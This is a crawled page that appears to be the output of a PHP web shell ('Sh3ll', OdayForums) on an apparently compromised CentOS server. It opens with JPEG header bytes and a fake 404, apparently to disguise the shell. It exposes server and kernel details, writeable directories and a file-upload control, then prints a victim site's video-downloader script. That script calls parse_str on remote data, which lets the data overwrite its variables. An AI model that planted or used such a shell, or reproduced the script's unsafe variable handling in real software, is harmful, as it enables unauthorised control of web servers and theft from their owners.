ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/code/download.php
<?php
include ROOT_PATH.'lib/simple_html_dom.php';
class download{

    function download()
    {
        global $CORE;
        switch ($CORE->input['code'])
        {
            default			: 	$this->goDownload(); break;
        }
    }
    function post($url,$data) {
        $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
        $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
        $header[] = "Cache-Control: max-age=0";
        $header[] = "Connection: keep-alive";
        $header[] = "Keep-Alive: 300";
        $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
        $header[] = "Accept-Language: en-us,en;q=0.5";
        $header[] = "Pragma: "; // browsers keep this blank.
        $user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0';
        $process = curl_init($url);
        curl_setopt($process, CURLOPT_HTTPHEADER, $header);
        curl_setopt($process, CURLOPT_REFERER, 'http://downvids.net');
        curl_setopt($process, CURLOPT_USERAGENT, $user_agent);
        curl_setopt($process, CURLOPT_COOKIEFILE, 'cookies_downvids.txt');
        curl_setopt($process, CURLOPT_COOKIEJAR, 'cookies_downvids.txt');
        curl_setopt($process, CURLOPT_ENCODING , 'gzip');
        curl_setopt($process, CURLOPT_TIMEOUT, 5);
        curl_setopt($process, CURLOPT_POSTFIELDS, $data);
        curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($process, CURLOPT_FOLLOWLOCATION, 0);
        curl_setopt($process, CURLOPT_POST, 1);
        $return = curl_exec($process);
        curl_close($process);
        return $return;
    }
    function get_content_phim47($url) {

        $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
        $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
        $header[] = "Cache-Control: max-age=0";
        $header[] = "Connection: keep-alive";
        $header[] = "Keep-Alive: 300";
        $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
        $header[] = "Accept-Language: en-us,en;q=0.5";
        $header[] = "Pragma: "; // browsers keep this blank.
        $process = curl_init($url);
        curl_setopt($process, CURLOPT_HTTPHEADER, $header);
        curl_setopt($process, CURLOPT_HEADER, 0);
        curl_setopt($process, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)');
        //curl_setopt($process, CURLOPT_COOKIEFILE, dirname(__FILE__).'/'.'cookies_anhtrang2.txt');
        //curl_setopt($process, CURLOPT_COOKIEJAR,  dirname(__FILE__).'/'.'cookies_anhtrang2.txt');
        curl_setopt($process, CURLOPT_REFERER, 'http://www.getlinkyoutube.com');
        curl_setopt($process, CURLOPT_ENCODING, 'gzip,deflate');
        //curl_setopt($process,CURLOPT_ENCODING , compression);
        curl_setopt($process, CURLOPT_TIMEOUT, 5);
        //if (proxy) curl_setopt($cUrl, CURLOPT_PROXY, 'proxy_ip:proxy_port');
        curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
        //curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
        $return = curl_exec($process);
        curl_close($process);
        //$content = strip_tags($return,'<div><a><p><span><li><ul><object><embed><b><font>');
        return $return;
    }
    function goDownload(){
        global $CORE,$smarty,$func,$INFO;
        $my_id = $CORE->input['id'];
        if(strlen($my_id)>8) {
            $detail['id_encode'] = $my_id;
            $my_id = $func->str_encode($func->hex2bin($my_id), 'ngocgiac');
            $my_video_info = 'http://www.youtube.com/get_video_info?video_id=' . $my_id . '&asv=3&el=detailpage&hl=en_US';
            $my_video_info = file_get_contents('http://www.clbbeiq.com/proxy/get_page2.php?url=' . $my_video_info);
            $title = $url_encoded_fmt_stream_map = $type = $url = '';

            parse_str($my_video_info);

            $detail['title'] = $title;
            $detail['ftitle'] = $func->format_string($title);
            $show_download = '';
            if (isset($url_encoded_fmt_stream_map)) {
                /* Now get the url_encoded_fmt_stream_map, and explode on comma */
                $my_formats_array = explode(',', $url_encoded_fmt_stream_map);
                $avail_formats[] = '';
                $i = 0;
                $ipbits = $ip = $itag = $sig = $quality = '';
                $expire = time();

                foreach ($my_formats_array as $format) {
                    parse_str($format);
                    $avail_formats[$i]['itag'] = $itag;
                    $avail_formats[$i]['quality'] = $quality;
                    $type = explode(';', $type);
                    $avail_formats[$i]['type'] = $type[0];
                    $avail_formats[$i]['url'] = urldecode($url) . '&signature=' . $sig . '&title=' . $title;
                    parse_str(urldecode($url));
                    $avail_formats[$i]['expires'] = date("G:i:s T", $expire);
                    $avail_formats[$i]['ipbits'] = $ipbits;
                    $avail_formats[$i]['ip'] = $ip;
                    $i++;
                }
                $show_download .= '<span>
<img src="http://img.youtube.com/vi/' . $my_id . '/default.jpg" style="max-width: 100%;"></span>
<h5>Download from list below:</h5>

		<ul class="list-group">';
                foreach ($avail_formats as $key => $val) {
                    if (!empty($val['quality'])) {
                        $val['type'] = str_replace('video/', '', $val['type']);
                        $val['type'] = ucfirst($val['type']);
                        $val['quality'] = str_replace(array('hd720', 'medium', 'small'), array('720p', '480p', '240p'), $val['quality']);
                        $show_download .= '<li class="list-group-item">';
                        $show_download .= '<i class="fa fa-cloud-download"></i> <a target="_blank" href="' . $val['url'] . '" style="text-decoration:underline">Download ' . $val['type'] . ' (' . $val['quality'] . ')</a>';
                        $show_download .= '</li>';
                    } else {

                        $url = 'http://www.getlinkyoutube.com/watch?v=' . $my_id;

                        $content = $this->get_content_phim47($url);
                        $html = str_get_html($content);
                        $link_download = trim($html->find('ul.video-downloads', 0)->innertext);
                        $link_download = str_replace('<li>', '<li class="list-group-item"><i class="fa fa-cloud-download"></i> ', $link_download);
                        $show_download .= $link_download;
                        $title = $detail['title'] = trim($html->find('table.table-video-info td', 1)->plaintext);
                    }
                }

                $show_download .= '</ul>';

            }
        }
        if(strlen($my_id)<=8) {//dailymotion
            $content = $func->get_content_page('http://www.dailymotion.com/embed/video/'.$my_id,'dailymotion.com');
            $content2 = strip_tags($content);
            $a = explode('"qualities":{"auto":[',$content2);
            $a = explode('}]}', $a[1]);
            $data = explode('}],', $a[0]);
            if(!empty($data)){
                $show_download .= '<span>
<iframe src="http://www.dailymotion.com/embed/video/'.$my_id.'" width="480" height="269" frameborder="0" allowfullscreen></iframe></span>
<h5>Download from list below:</h5>

		<ul class="list-group">';
                $link = '';
                $qual = '';
                $arr = array();
                $arr2 = array();
                foreach($data as $val){
                    if(strpos($val,'/mp4')!==false){
                       $arr = explode('"url":"',$val);
                        $arr2 = explode(':[{',$val);
                        $link = str_replace(array('"',"\/"),array('','/'),$arr[1]);
                        $qual = str_replace('"','',$arr2[0]);
                        $show_download .= '<li class="list-group-item">';
                        $show_download .= '<i class="fa fa-cloud-download"></i> <a target="_blank" href="' . urldecode($link) . '" style="text-decoration:underline">Download video/mp4 (' . $qual. 'p)</a>';
                        $show_download .= '</li>';

                    }
                }
                $show_download .= '</ul>';
            }

        }
        $smarty->assign('title','Download the video &quot;'.$title.'&quot;');
        $smarty->assign('detail',$detail);
        $smarty->assign('show_download',$show_download);
        $smarty->assign('image',$INFO['home_url'].'skin/'.$INFO['skin_folder'].'/img/vidoe-logo.png');
    }

}//end class
// Run class
$run	=	new download();
?>

ZeroDay Forums Mini